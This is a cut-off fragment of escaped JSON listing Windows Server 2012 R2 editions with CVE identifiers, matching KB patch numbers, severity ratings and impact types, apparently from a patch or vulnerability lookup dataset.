Disclosure\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025287\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-29336\",\"kb\":\"5026419\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5073698\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028232\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-50868\",\"kb\":\"5039260\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041851\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043125\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048699\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-7344\",\"kb\":\"5050004\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053886\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053886\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053886\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055581\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058380\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058451\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5061059\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066875\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062592\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063906\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063906\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-59287\",\"kb\":\"5070887\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows Server 2012 R2\":[{\"cve\":\"CVE-2013-3893\",\"kb\":\"2884101\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-5045\",\"kb\":\"2898785\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-7331\",\"kb\":\"2977629\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0295\",\"kb\":\"2901125\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-0307\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0322\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-1776\",\"kb\":\"2964444\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4113\",\"kb\":\"3000061\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4114\",\"kb\":\"3000869\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6321\",\"kb\":\"2992611\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6332\",\"kb\":\"3010788\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0002\",\"kb\":\"3023266\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0004\",\"kb\":\"3021674\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0005\",\"kb\":\"3002657\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2015-0010\",\"kb\":\"3013455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0016\",\"kb\":\"3019978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1635\",\"kb\":\"3042553\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-1674\",\"kb\":\"3050514\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2015-1701\",\"kb\":\"3045171\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1722\",\"kb\":\"3057839\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2426\",\"kb\":\"3079904\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2433\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2455\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2456\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2458\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2459\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2460\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2462\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2463\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2464\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2502\",\"kb\":\"3087985\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2507\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2512\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2524\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2525\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2527\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2552\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2553\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2554\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-6100\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6101\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6103\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6104\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6132\",\"kb\":\"3108381\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6152\",\"kb\":\"3104002\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0006\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0007\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0015\",\"kb\":\"3109560\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0016\",\"kb\":\"3109560\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0040\",\"kb\":\"3126434\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0063\",\"kb\":\"3134814\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0099\",\"kb\":\"3139914\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0151\",\"kb\":\"3146723\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2016-0189\",\"kb\":\"3154070\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0199\",\"kb\":\"3160005\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3237\",\"kb\":\"3177108\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185319\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3197873\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7255\",\"kb\":\"3197873\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0005\",\"kb\":\"4012213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0022\",\"kb\":\"4012213\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0143\",\"kb\":\"4012213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0144\",\"kb\":\"4012213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0145\",\"kb\":\"4012213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0146\",\"kb\":\"4012213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0147\",\"kb\":\"4012213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0148\",\"kb\":\"4012213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0213\",\"kb\":\"4019215\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0263\",\"kb\":\"4019215\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-11785\",\"kb\":\"4041693\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11885\",\"kb\":\"4054519\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8462\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8464\",\"kb\":\"4022726\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8469\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8470\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8471\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8473\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8476\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8478\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8479\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8480\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8481\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8482\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8484\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8485\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8488\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8489\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8491\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8492\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8564\",\"kb\":\"4025336\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8678\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8680\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8681\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8682\",\"kb\":\"4038792\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8683\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8684\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8687\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8708\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0748\",\"kb\":\"4056895\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0749\",\"kb\":\"4056895\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0752\",\"kb\":\"4056895\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0824\",\"kb\":\"4103725\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0832\",\"kb\":\"4074594\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0833\",\"kb\":\"4074594\",\"severity\":\"Moderate\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4103725\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0894\",\"kb\":\"4088876\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0897\",\"kb\":\"4088876\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0901\",\"kb\":\"4088876\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0975\",\"kb\":\"4093114\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8174\",\"kb\":\"4103725\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8410\",\"kb\":\"4457129\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4462926\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4462926\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8440\",\"kb\":\"4457129\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4462926\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467703\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467697\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8897\",\"kb\":\"4103725\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480963\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0552\",\"kb\":\"4480963\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0555\",\"kb\":\"4487000\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0570\",\"kb\":\"4480963\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1458\",\"kb\":\"4530702\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534297\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4537821\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4541509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4550961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556846\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556846\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4571703\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4571703\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-1472\",\"kb\":\"4601384\",\"severity\":\"Critical\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003209\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003209\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003671\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001382\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001382\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5004954\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-36942\",\"kb\":\"5005076\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005613\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006714\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014738\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2023-20569\",\"kb\":\"5029312\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025285\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-29336\",\"kb\":\"5026415\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5073696\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028228\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-50868\",\"kb\":\"5039294\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041828\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043138\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048735\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-7344\",\"kb\":\"5050048\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053887\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24071\",\"kb\":\"5053887\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053887\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053887\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055557\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058380\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058403\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5060996\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066873\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062597\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063950\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063950\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-59287\",\"kb\":\"5070886\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows Server 2012 R2 (Server Core installation)\":[{\"cve\":\"CVE-2016-0006\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0007\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0015\",\"kb\":\"3109560\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0016\",\"kb\":\"3110329\",\"severity\":\"\",\"impact\":\"Windows Library Loading\"},{\"cve\":\"CVE-2016-0151\",\"kb\":\"3146723\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2016-3237\",\"kb\":\"3177108\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-7255\",\"kb\":\"3197873\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0005\",\"kb\":\"4012213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0022\",\"kb\":\"4012213\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0143\",\"kb\":\"4012213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0144\",\"kb\":\"4012213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0145\",\"kb\":\"4012213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0146\",\"kb\":\"4012213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0147\",\"kb\":\"4012213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0148\",\"kb\":\"4012213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0213\",\"kb\":\"4019215\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0263\",\"kb\":\"4019215\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-11785\",\"kb\":\"4041693\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11885\",\"kb\":\"4054519\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8462\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8464\",\"kb\":\"4022726\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8469\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8470\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8471\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8473\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8476\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8478\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8479\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8480\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8481\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8482\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8484\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8485\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8488\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8489\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8491\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8492\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8564\",\"kb\":\"4025336\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8678\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information 